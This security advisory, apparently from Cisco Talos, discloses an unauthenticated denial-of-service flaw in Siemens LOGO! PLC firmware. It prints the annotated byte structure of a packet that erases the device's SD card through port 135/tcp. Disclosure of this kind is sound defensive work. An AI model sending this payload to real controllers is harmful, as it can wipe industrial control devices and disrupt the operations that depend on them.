An exploitable denial of service vulnerability exists in the TDE service functionality of Siemens LOGO! 1.82.02, 12/24RCE Version 0BA and 230RCE Version 0BA. A specially crafted network request can cause be used to delete critical system data resulting in a denial of service. An attacker can send an unauthenticated packet to trigger this vulnerability.
Siemens LOGO! 1.82.02
Siemens LOGO! 12/24RCE Version 0BA
Siemens LOGO! 230RCE Version 0BA
9.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:H
CWE-306 - Missing Authentication for Critical Function
Siemens LOGO! is an intelligent logic module (PLC) meant for automation projects such as industrial control systems, office/commercial and home settings. It is deployed worldwide and can be control remotely.
The SD card can be completely erased through the LOGO TDE service port 135/TCP using the “NFSAccess” delete function. The security vulnerability could be exploited by an unauthenticated attacker with network access to port 135/tcp. No user interaction is required to exploit this security vulnerability.
Structure of payload message sent:
\x4B\xd0\x04\xc0 # Start of message: Signature, Version, ClientVersion, Sync Flag, Return Flag, Request Flag \x01\x00\x00\x00 # Context \x01\x00\x00\x00 # Session \x4e\x46\x53\x41 # NFSAccess command \x63\x63\x65\x73 \x73\x00\x00\x00 # Delete \x00\x00\x00\x00 \x74\x00\x00\x00 \xff\xff\xff\xff \xff\xff\xff\xff # File handle \xff\xff\xff\xff \x00\x00\x00\x00 \x15\x00\x00\x00 # Data Size \x00\x00\x00\x00 \x2f\x64\x65\x76 # /dev/sdcard/ # SD card path \x2f\x73\x64\x63 \x61\x72\x64\x2f \x00\x00\x00\x00 \x00\x00\x00\x00 \x00"
We were able to identify this vulnerability on firmware 1.82.02 (released on May 13, 2019). Due to hardware similarity, we believe that all the 0BA8 and 0BA7 families are vulnerable independently of hardware type or firmware.
2020-03-20 - Vendor Disclosure
2020-06-09 - Public Release
Discovered by Alexander Perez-Palma of Cisco Talos and Emanuel Almeida of Cisco Systems, Inc..